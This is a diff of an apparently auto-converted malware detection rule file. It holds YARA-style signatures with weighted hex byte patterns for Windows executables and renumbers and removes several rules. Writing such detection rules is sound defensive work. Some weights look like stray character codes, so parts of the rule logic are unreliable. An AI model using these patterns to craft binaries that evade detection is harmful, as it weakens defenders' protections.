1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_01_97 & 1)*1+(#a_01_98 & 1)*1+(#a_01_99 & 1)*1+(#a_01_100 & 1)*1+(#a_01_101 & 1)*1+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1+(#a_01_128 & 1)*1+(#a_01_129 & 1)*1+(#a_01_130 & 1)*1+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_01_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_01_142 & 1)*1+(#a_01_143 & 1)*1+(#a_01_144 & 1)*1+(#a_01_145 & 1)*1+(#a_01_146 & 1)*1+(#a_01_147 & 1)*1+(#a_01_148 & 1)*1+(#a_01_149 & 1)*1+(#a_01_150 & 1)*1+(#a_01_151 & 1)*1+(#a_01_152 & 1)*1+(#a_01_153 & 1)*1+(#a_01_154 & 1)*1+(#a_01_155 & 1)*1+(#a_01_156 & 1)*1+(#a_01_157 & 1)*1+(#a_01_158 & 1)*1+(#a_01_159 & 1)*1+(#a_01_160 & 1)*1+(#a_01_161 & 1)*1+(#a_01_162 & 1)*1+(#a_01_163 & 1)*1+(#a_01_164 & 1)*1+(#a_01_165 & 1)*1+(#a_01_166 & 1)*1+(#a_01_167 & 1)*1+(#a_01_168 & 1)*1+(#a_01_169 & 1)*1+(#a_01_170 & 1)*1+(#a_01_171 & 1)*1+(#a_01_172 & 1)*1+(#a_01_173 & 1)*1+(#a_01_174 & 1)*1+(#a_01_175 & 1)*1+(#a_01_176 & 1)*1+(#a_01_177 & 1)*1+(#a_01_178 & 1)*1+(#a_01_179 & 1)*1+(#a_01_180 & 1)*1+(#a_01_181 & 1)*1+(#a_01_182 & 1)*1+(#a_01_183 & 1)*1+(#a_01_184 & 1)*1+(#a_01_185 & 1)*1+(#a_01_186 & 1)*1+(#a_01_187 & 1)*1+(#a_01_188 & 1)*1+(#a_01_189 & 1)*1+(#a_01_190 & 1)*1+(#a_01_191 & 1)*1+(#a_01_192 & 1)*1+(#a_01_193 & 1)*1+(#a_01_194 & 1)*1+(#a_01_195 & 1)*1+(#a_01_196 & 1)*1+(#a_01_197 & 1)*1+(#a_01_198 & 1)*1+(#a_01_199 & 1)*1+(#a_01_200 & 1)*1+(#a_01_201 & 1)*1+(#a_01_202 & 1)*1+(#a_01_203 & 1)*1+(#a_01_204 & 1)*1+(#a_01_205 & 1)*1+(#a_01_206 & 1)*1+(#a_01_207 & 1)*1+(#a_01_208 & 1)*1+(#a_01_209 & 1)*1+(#a_01_210 & 1)*1+(#a_01_211 & 1)*1+(#a_01_212 & 1)*1+(#a_01_213 & 1)*1+(#a_01_214 & 1)*1+(#a_01_215 & 1)*1+(#a_01_216 & 1)*1+(#a_01_217 & 1)*1+(#a_01_218 & 1)*1+(#a_01_219 & 1)*1+(#a_01_220 & 1)*1+(#a_01_221 & 1)*1+(#a_01_222 & 1)*1+(#a_01_223 & 1)*1+(#a_01_224 & 1)*1+(#a_01_225 & 1)*1+(#a_01_226 & 1)*1+(#a_01_227 & 1)*1+(#a_01_228 & 1)*1+(#a_01_229 & 1)*1+(#a_01_230 & 1)*1+(#a_01_231 & 1)*1+(#a_01_232 & 1)*1+(#a_01_233 & 1)*1+(#a_01_234 & 1)*1+(#a_01_235 & 1)*1+(#a_01_236 & 1)*1+(#a_01_237 & 1)*1+(#a_01_238 & 1)*1+(#a_01_239 & 1)*1+(#a_01_240 & 1)*1+(#a_01_241 & 1)*1+(#a_01_242 & 1)*1+(#a_01_243 & 1)*1+(#a_01_244 & 1)*1+(#a_01_245 & 1)*1+(#a_01_246 & 1)*1+(#a_01_247 & 1)*1+(#a_01_248 & 1)*1+(#a_01_249 & 1)*1+(#a_01_250 & 1)*1+(#a_01_251 & 1)*1+(#a_01_252 & 1)*1+(#a_01_253 & 1)*1+(#a_01_254 & 1)*1+(#a_01_255 & 1)*1+(#a_01_256 & 1)*1+(#a_01_257 & 1)*1+(#a_01_258 & 1)*1+(#a_01_259 & 1)*1+(#a_01_260 & 1)*1+(#a_01_261 & 1)*1+(#a_01_262 & 1)*1+(#a_01_263 & 1)*1+(#a_01_264 & 1)*1+(#a_01_265 & 1)*1+(#a_01_266 & 1)*1+(#a_01_267 & 1)*1+(#a_01_268 & 1)*1+(#a_01_269 & 1)*1+(#a_01_270 & 1)*1+(#a_01_271 & 1)*1+(#a_01_272 & 1)*1+(#a_01_273 & 1)*1+(#a_01_274 & 1)*1+(#a_01_275 & 1)*1+(#a_01_276 & 1)*1+(#a_01_277 & 1)*1+(#a_01_278 & 1)*1+(#a_01_279 & 1)*1+(#a_01_280 & 1)*1+(#a_01_281 & 1)*1+(#a_01_282 & 1)*1+(#a_01_283 & 1)*1+(#a_01_284 & 1)*1+(#a_01_285 & 1)*1+(#a_01_286 & 1)*1+(#a_01_287 & 1)*1+(#a_01_288 & 1)*1+(#a_01_289 & 1)*1+(#a_01_290 & 1)*1+(#a_01_291 & 1)*1+(#a_01_292 & 1)*1+(#a_01_293 & 1)*1+(#a_01_294 & 1)*1+(#a_01_295 & 1)*1+(#a_01_296 & 1)*1+(#a_01_297 & 1)*1+(#a_01_298 & 1)*1+(#a_01_299 & 1)*1+(#a_01_300 & 1)*1+(#a_01_301 & 1)*1+(#a_01_302 & 1)*1+(#a_01_303 & 1)*1+(#a_01_304 & 1)*1+(#a_01_305 & 1)*1+(#a_01_306 & 1)*1+(#a_01_307 & 1)*1+(#a_01_308 & 1)*1+(#a_01_309 & 1)*1+(#a_01_310 & 1)*1+(#a_01_311 & 1)*1+(#a_01_312 & 1)*1+(#a_01_313 & 1)*1+(#a_01_314 & 1)*1+(#a_01_315 & 1)*1+(#a_01_316 & 1)*1+(#a_01_317 & 1)*1+(#a_01_318 & 1)*1+(#a_01_319 & 1)*1+(#a_01_320 & 1)*1+(#a_01_321 & 1)*1+(#a_01_322 & 1)*1+(#a_01_323 & 1)*1+(#a_01_324 & 1)*1+(#a_01_325 & 1)*1+(#a_01_326 & 1)*1+(#a_01_327 & 1)*1+(#a_01_328 & 1)*1+(#a_01_329 & 1)*1+(#a_01_330 & 1)*1+(#a_01_331 & 1)*1+(#a_01_332 & 1)*1+(#a_01_333 & 1)*1+(#a_01_334 & 1)*1+(#a_01_335 & 1)*1+(#a_01_336 & 1)*1+(#a_01_337 & 1)*1+(#a_01_338 & 1)*1+(#a_01_339 & 1)*1+(#a_01_340 & 1)*1+(#a_01_341 & 1)*1+(#a_01_342 & 1)*1+(#a_01_343 & 1)*1+(#a_01_344 & 1)*1+(#a_01_345 & 1)*1+(#a_01_346 & 1)*1+(#a_01_347 & 1)*1+(#a_01_348 & 1)*1+(#a_01_349 & 1)*1+(#a_01_350 & 1)*1+(#a_01_351 & 1)*1+(#a_01_352 & 1)*1+(#a_01_353 & 1)*1+(#a_01_354 & 1)*1+(#a_01_355 & 1)*1+(#a_01_356 & 1)*1+(#a_01_357 & 1)*1+(#a_01_358 & 1)*1+(#a_01_359 & 1)*1+(#a_01_360 & 1)*1+(#a_01_361 & 1)*1+(#a_01_362 & 1)*1+(#a_01_363 & 1)*1+(#a_01_364 & 1)*1+(#a_01_365 & 1)*1+(#a_01_366 & 1)*1+(#a_01_367 & 1)*1+(#a_01_368 & 1)*1+(#a_01_369 & 1)*1+(#a_01_370 & 1)*1+(#a_01_371 & 1)*1+(#a_01_372 & 1)*1+(#a_01_373 & 1)*1+(#a_01_374 & 1)*1+(#a_01_375 & 1)*1+(#a_01_376 & 1)*1+(#a_01_377 & 1)*1+(#a_01_378 & 1)*1+(#a_01_379 & 1)*1+(#a_01_380 & 1)*1+(#a_01_381 & 1)*1+(#a_01_382 & 1)*1+(#a_01_383 & 1)*1+(#a_01_384 & 1)*1+(#a_01_385 & 1)*1+(#a_01_386 & 1)*1+(#a_01_387 & 1)*1+(#a_01_388 & 1)*1+(#a_01_389 & 1)*1+(#a_01_390 & 1)*1+(#a_01_391 & 1)*1+(#a_01_392 & 1)*1+(#a_01_393 & 1)*1+(#a_01_394 & 1)*1+(#a_01_395 & 1)*1+(#a_01_396 & 1)*1+(#a_01_397 & 1)*-10+(#a_04_398 & 1)*0+(#a_00_400 & 1)*120+(#a_2f_401 & 1)*656+(#a_00_403 & 1)*101+(#a_00_405 & 1)*101+(#a_00_407 & 1)*116+(#a_00_408 & 1)*99+(#a_00_409 & 1)*112+(#a_00_411 & 1)*95+(#a_00_412 & 1)*109+(#a_00_413 & 1)*97+(#a_00_415 & 1)*109+(#a_00_416 & 1)*116+(#a_00_417 & 1)*115+(#a_02_418 & 1)*10+(#a_02_419 & 1)*10) >=1 } -rule _InfrastructureShared_20610{ +rule _InfrastructureShared_21840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 50 00 21 " @@ -270332,7 +285985,7 @@ rule _InfrastructureShared_20610{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*104+(#a_00_3 & 1)*104+(#a_00_4 & 1)*99+(#a_00_6 & 1)*116+(#a_00_8 & 1)*47+(#a_00_9 & 1)*112+(#a_00_11 & 1)*112+(#a_00_13 & 1)*95+(#a_00_14 & 1)*109+(#a_00_15 & 1)*97+(#a_00_17 & 1)*109+(#a_00_18 & 1)*116+(#a_00_19 & 1)*115+(#a_02_20 & 1)*10+(#a_02_21 & 1)*10+(#a_02_22 & 1)*10+(#a_02_23 & 1)*10+(#a_02_24 & 1)*10+(#a_02_25 & 1)*10+(#a_00_26 & 1)*10+(#a_02_27 & 1)*10+(#a_02_28 & 1)*10+(#a_02_29 & 1)*10+(#a_00_30 & 1)*10+(#a_00_31 & 1)*10+(#a_00_32 & 1)*10+(#a_02_33 & 1)*10+(#a_02_34 & 1)*10+(#a_02_35 & 1)*10+(#a_02_36 & 1)*10+(#a_02_37 & 1)*10+(#a_02_38 & 1)*10+(#a_00_39 & 1)*10+(#a_00_40 & 1)*10+(#a_02_41 & 1)*10+(#a_02_42 & 1)*10+(#a_02_43 & 1)*10+(#a_02_44 & 1)*10+(#a_02_45 & 1)*10+(#a_02_46 & 1)*10+(#a_02_47 & 1)*10+(#a_02_48 & 1)*10+(#a_00_49 & 1)*10+(#a_00_50 & 1)*10+(#a_00_51 & 1)*10+(#a_00_52 & 1)*10+(#a_00_53 & 1)*10+(#a_00_54 & 1)*10+(#a_00_55 & 1)*10+(#a_00_56 & 1)*10+(#a_00_57 & 1)*10+(#a_00_58 & 1)*10+(#a_00_59 & 1)*10+(#a_00_60 & 1)*10+(#a_02_61 & 1)*10+(#a_02_62 & 1)*10+(#a_00_63 & 1)*10+(#a_00_64 & 1)*10+(#a_00_65 & 1)*10+(#a_00_66 & 1)*10+(#a_00_67 & 1)*10+(#a_00_68 & 1)*10+(#a_00_69 & 1)*10+(#a_00_70 & 1)*10+(#a_00_71 & 1)*10+(#a_00_72 & 1)*10+(#a_00_73 & 1)*10+(#a_00_74 & 1)*10+(#a_02_75 & 1)*10+(#a_02_76 & 1)*10+(#a_02_77 & 1)*10+(#a_02_78 & 1)*10+(#a_02_79 & 1)*10) >=10 } -rule _InfrastructureShared_20611{ +rule _InfrastructureShared_21841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 28 01 21 " @@ -270612,7 +286265,7 @@ rule _InfrastructureShared_20611{ ((#a_72_0 & 1)*22051+(#a_a0_1 & 1)*-29748+(#a_01_2 & 1)*-1923+(#a_78_3 & 1)*-13243+(#a_8c_4 & 1)*-32308+(#a_fa_6 & 1)*-4105+(#a_8c_7 & 1)*1025+(#a_f9_8 & 1)*-1931+(#a_fe_9 & 1)*0+(#a_4d_10 & 1)*20480+(#a_04_11 & 1)*-28418+(#a_00_12 & 1)*10892+(#a_01_14 & 1)*3843+(#a_00_15 & 1)*668+(#a_f9_16 & 1)*-26365+(#a_00_17 & 1)*112+(#a_c2_18 & 1)*-26365+(#a_04_19 & 1)*-12238+(#a_cc_20 & 1)*-29872+(#a_01_21 & 1)*-3711+(#a_e8_22 & 1)*-15733+(#a_01_23 & 1)*-899+(#a_4c_24 & 1)*-1033+(#a_f1_25 & 1)*-9+(#a_04_26 & 1)*1281+(#a_8a_27 & 1)*13311+(#a_01_28 & 1)*-28431+(#a_d0_29 & 1)*8168+(#a_15_30 & 1)*-30716+(#a_00_32 & 1)*65+(#a_25_33 & 1)*304+(#a_00_34 & 1)*61+(#a_f1_35 & 1)*1025+(#a_00_36 & 1)*85+(#a_57_37 & 1)*17152+(#a_5b_38 & 1)*2154+(#a_00_39 & 1)*144+(#a_88_40 & 1)*12801+(#a_be_41 & 1)*0+(#a_01_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_03_47 & 1)*1+(#a_01_48 & 1)*1+(#a_03_49 & 1)*1+(#a_01_50 & 1)*1+(#a_03_51 & 1)*1+(#a_01_52 & 1)*1+(#a_03_53 & 1)*1+(#a_03_54 & 1)*1+(#a_01_55 & 1)*1+(#a_03_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_01_59 & 1)*1+(#a_03_60 & 1)*1+(#a_03_61 & 1)*1+(#a_01_62 & 1)*1+(#a_03_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_03_66 & 1)*1+(#a_03_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_03_70 & 1)*1+(#a_01_71 & 1)*1+(#a_03_72 & 1)*1+(#a_03_73 & 1)*1+(#a_03_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_03_79 & 1)*1+(#a_03_80 & 1)*1+(#a_03_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_03_84 & 1)*1+(#a_03_85 & 1)*1+(#a_03_86 & 1)*1+(#a_03_87 & 1)*1+(#a_03_88 & 1)*1+(#a_01_89 & 1)*1+(#a_03_90 & 1)*1+(#a_03_91 & 1)*1+(#a_03_92 & 1)*1+(#a_01_93 & 1)*1+(#a_03_94 & 1)*1+(#a_01_95 & 1)*1+(#a_03_96 & 1)*1+(#a_03_97 & 1)*1+(#a_03_98 & 1)*1+(#a_03_99 & 1)*1+(#a_03_100 & 1)*1+(#a_01_101 & 1)*1+(#a_03_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_03_106 & 1)*1+(#a_03_107 & 1)*1+(#a_03_108 & 1)*1+(#a_01_109 & 1)*1+(#a_03_110 & 1)*1+(#a_01_111 & 1)*1+(#a_03_112 & 1)*1+(#a_01_113 & 1)*1+(#a_03_114 & 1)*1+(#a_03_115 & 1)*1+(#a_03_116 & 1)*1+(#a_03_117 & 1)*1+(#a_03_118 & 1)*1+(#a_03_119 & 1)*1+(#a_03_120 & 1)*1+(#a_03_121 & 1)*1+(#a_03_122 & 1)*1+(#a_01_123 & 1)*1+(#a_03_124 & 1)*1+(#a_03_125 & 1)*1+(#a_01_126 & 1)*1+(#a_03_127 & 1)*1+(#a_01_128 & 1)*1+(#a_80_129 & 1)*1+(#a_80_130 & 1)*1+(#a_80_131 & 1)*1+(#a_80_132 & 1)*1+(#a_80_133 & 1)*1+(#a_80_134 & 1)*1+(#a_80_135 & 1)*1+(#a_03_136 & 1)*1+(#a_03_137 & 1)*1+(#a_03_138 & 1)*1+(#a_03_139 & 1)*1+(#a_03_140 & 1)*1+(#a_01_141 & 1)*1+(#a_03_142 & 1)*1+(#a_03_143 & 1)*1+(#a_03_144 & 1)*1+(#a_01_145 & 1)*1+(#a_01_146 & 1)*1+(#a_01_147 & 1)*1+(#a_03_148 & 1)*1+(#a_03_149 & 1)*1+(#a_01_150 & 1)*1+(#a_03_151 & 1)*1+(#a_01_152 & 1)*1+(#a_03_153 & 1)*1+(#a_03_154 & 1)*1+(#a_03_155 & 1)*1+(#a_03_156 & 1)*1+(#a_03_157 & 1)*1+(#a_03_158 & 1)*1+(#a_03_159 & 1)*1+(#a_03_160 & 1)*1+(#a_03_161 & 1)*1+(#a_03_162 & 1)*1+(#a_03_163 & 1)*1+(#a_01_164 & 1)*1+(#a_03_165 & 1)*1+(#a_03_166 & 1)*1+(#a_03_167 & 1)*1+(#a_00_168 & 1)*1+(#a_00_169 & 1)*1+(#a_01_170 & 1)*1+(#a_03_171 & 1)*1+(#a_03_172 & 1)*1+(#a_01_173 & 1)*1+(#a_03_174 & 1)*1+(#a_01_175 & 1)*1+(#a_03_176 & 1)*1+(#a_03_177 & 1)*1+(#a_03_178 & 1)*1+(#a_03_179 & 1)*1+(#a_03_180 & 1)*1+(#a_03_181 & 1)*1+(#a_03_182 & 1)*1+(#a_03_183 & 1)*1+(#a_01_184 & 1)*1+(#a_01_185 & 1)*1+(#a_03_186 & 1)*1+(#a_03_187 & 1)*1+(#a_01_188 & 1)*1+(#a_ce_189 & 1)*0+(#a_00_191 & 1)*111+(#a_00_193 & 1)*97+(#a_00_195 & 1)*54+(#a_00_196 & 1)*116+(#a_00_198 & 1)*97+(#a_00_199 & 1)*101+(#a_00_200 & 1)*119+(#a_00_201 & 1)*54+(#a_00_203 & 1)*121+(#a_00_206 & 1)*103+(#a_00_208 & 1)*99+(#a_00_210 & 1)*52+(#a_00_211 & 1)*49+(#a_00_213 & 1)*97+(#a_00_214 & 1)*115+(#a_00_215 & 1)*100+(#a_00_216 & 1)*53+(#a_00_218 & 1)*50+(#a_00_219 & 1)*106+(#a_00_220 & 1)*56+(#a_00_221 & 1)*117+(#a_00_223 & 1)*47+(#a_00_225 & 1)*104+(#a_00_227 & 1)*57+(#a_00_229 & 1)*95+(#a_00_230 & 1)*115+(#a_00_232 & 1)*48+(#a_00_233 & 1)*98+(#a_00_235 & 1)*52+(#a_00_237 & 1)*110+(#a_00_239 & 1)*57+(#a_00_240 & 1)*104+(#a_00_241 & 1)*56+(#a_00_243 & 1)*118+(#a_00_245 & 1)*48+(#a_00_246 & 1)*52+(#a_00_248 & 1)*100+(#a_00_249 & 1)*54+(#a_00_250 & 1)*46+(#a_00_251 & 1)*49+(#a_00_252 & 1)*101+(#a_00_253 & 1)*57+(#a_00_254 & 1)*53+(#a_00_255 & 1)*10+(#a_00_256 & 1)*10+(#a_00_257 & 1)*10+(#a_00_258 & 1)*10+(#a_00_259 & 1)*10+(#a_00_260 & 1)*10+(#a_00_261 & 1)*10+(#a_02_262 & 1)*10+(#a_02_263 & 1)*10+(#a_00_264 & 1)*10+(#a_02_265 & 1)*10+(#a_02_266 & 1)*10+(#a_02_267 & 1)*10+(#a_02_268 & 1)*10+(#a_02_269 & 1)*10+(#a_02_270 & 1)*10+(#a_02_271 & 1)*10+(#a_02_272 & 1)*10+(#a_02_273 & 1)*10+(#a_00_274 & 1)*10+(#a_00_275 & 1)*10+(#a_02_276 & 1)*10+(#a_02_277 & 1)*10+(#a_02_278 & 1)*10+(#a_02_279 & 1)*10+(#a_00_280 & 1)*10+(#a_00_281 & 1)*10+(#a_00_282 & 1)*10+(#a_00_283 & 1)*10+(#a_00_284 & 1)*10+(#a_00_285 & 1)*10+(#a_00_286 & 1)*10+(#a_00_287 & 1)*10+(#a_00_288 & 1)*10+(#a_00_289 & 1)*10+(#a_00_290 & 1)*10+(#a_00_291 & 1)*10+(#a_00_292 & 1)*10+(#a_00_293 & 1)*10+(#a_00_294 & 1)*10+(#a_00_295 & 1)*10) >=1 } -rule _InfrastructureShared_20612{ +rule _InfrastructureShared_21842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 49 00 21 " @@ -270680,7 +286333,7 @@ rule _InfrastructureShared_20612{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_00_4 & 1)*104+(#a_00_5 & 1)*47+(#a_00_6 & 1)*97+(#a_00_8 & 1)*103+(#a_00_9 & 1)*101+(#a_00_10 & 1)*101+(#a_00_12 & 1)*112+(#a_00_14 & 1)*97+(#a_00_16 & 1)*112+(#a_00_18 & 1)*116+(#a_00_20 & 1)*46+(#a_00_21 & 1)*54+(#a_00_22 & 1)*107+(#a_00_24 & 1)*47+(#a_00_26 & 1)*121+(#a_00_28 & 1)*115+(#a_00_30 & 1)*51+(#a_00_32 & 1)*111+(#a_00_34 & 1)*49+(#a_00_35 & 1)*109+(#a_00_36 & 1)*57+(#a_00_37 & 1)*55+(#a_00_38 & 1)*10+(#a_00_39 & 1)*10+(#a_00_40 & 1)*10+(#a_00_41 & 1)*10+(#a_00_42 & 1)*10+(#a_00_43 & 1)*10+(#a_00_44 & 1)*10+(#a_00_45 & 1)*10+(#a_00_46 & 1)*10+(#a_00_47 & 1)*10+(#a_00_48 & 1)*10+(#a_00_49 & 1)*10+(#a_00_50 & 1)*10+(#a_00_51 & 1)*10+(#a_00_52 & 1)*10+(#a_00_53 & 1)*10+(#a_02_54 & 1)*10+(#a_02_55 & 1)*10+(#a_00_56 & 1)*10+(#a_02_57 & 1)*10+(#a_02_58 & 1)*10+(#a_02_59 & 1)*10+(#a_02_60 & 1)*10+(#a_02_61 & 1)*10+(#a_02_62 & 1)*10+(#a_02_63 & 1)*10+(#a_02_64 & 1)*10+(#a_02_65 & 1)*10+(#a_00_66 & 1)*10+(#a_00_67 & 1)*10+(#a_02_68 & 1)*10+(#a_02_69 & 1)*10+(#a_02_70 & 1)*10+(#a_02_71 & 1)*10+(#a_00_72 & 1)*10) >=10 } -rule _InfrastructureShared_20613{ +rule _InfrastructureShared_21843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 ffffffff 03 21 " @@ -271554,22 +287207,33 @@ rule _InfrastructureShared_20613{ $a_03_871 = {f7 f9 8b 95 ?? ?? ff ff 33 c9 8a 8c 10 ?? ?? ?? ?? 33 8d ?? ?? ff ff 8b 85 ?? ?? ff ff 69 c0 09 03 00 00 99 be 09 03 00 00 f7 fe 88 8c 05 } //1 $a_03_872 = {f7 ef 03 d7 80 f1 15 c1 fa 06 8b c2 83 c7 6f c1 e8 1f 03 d0 81 fe ?? ?? ?? ?? 88 8c 15 } //1 $a_00_873 = {04 00 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d } //0 - $a_ce_878 = {6e 04 a0 8b 6e 04 a0 8b 6e 04 a0 8b 67 7c 32 8b 6f 04 a0 8b 67 7c 24 8b 6f 04 a0 8b 67 7c 31 8b 6f 04 a0 8b 52 69 63 68 6e 04 a0 8b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 01 00 89 be eb 67 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 } //10752 - $a_00_880 = {10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 20 00 00 00 02 00 00 21 77 00 00 03 00 40 05 00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 50 10 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //0 - $a_78_893 = {00 00 00 a2 00 00 00 00 10 00 00 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 be eb 67 00 00 00 00 02 00 00 00 27 00 00 00 1c 10 00 00 1c 02 00 00 52 53 44 53 6e 92 } //29742 - $a_5e_894 = {43 bd 95 ff b5 51 de d8 e0 01 00 00 00 75 6e 6b 6e 6f 77 6e 73 79 73 2e 70 64 62 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc 00 00 00 00 cf bd eb 67 00 00 00 00 82 10 00 00 01 00 00 00 01 00 00 00 01 00 00 00 78 10 00 00 7c 10 00 00 80 10 00 00 43 10 00 00 91 10 00 00 00 00 55 4e 4b 4e 4f 57 4e 53 59 53 2e 44 4c 4c 00 55 6e 69 6d 70 6c 65 6d 65 6e 74 65 64 41 50 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //16872 - $a_90_951 = {03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e } //19712 - $a_20_952 = {65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2a 65 ce d8 6e 04 a0 8b 6e 04 a0 8b 6e 04 a0 8b 67 7c 32 8b 6f 04 a0 8b 67 7c 24 8b 6f 04 a0 8b 67 7c 31 8b 6f 04 a0 8b 52 69 63 68 6e 04 a0 8b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 01 00 8b be eb 67 00 00 00 00 00 00 00 00 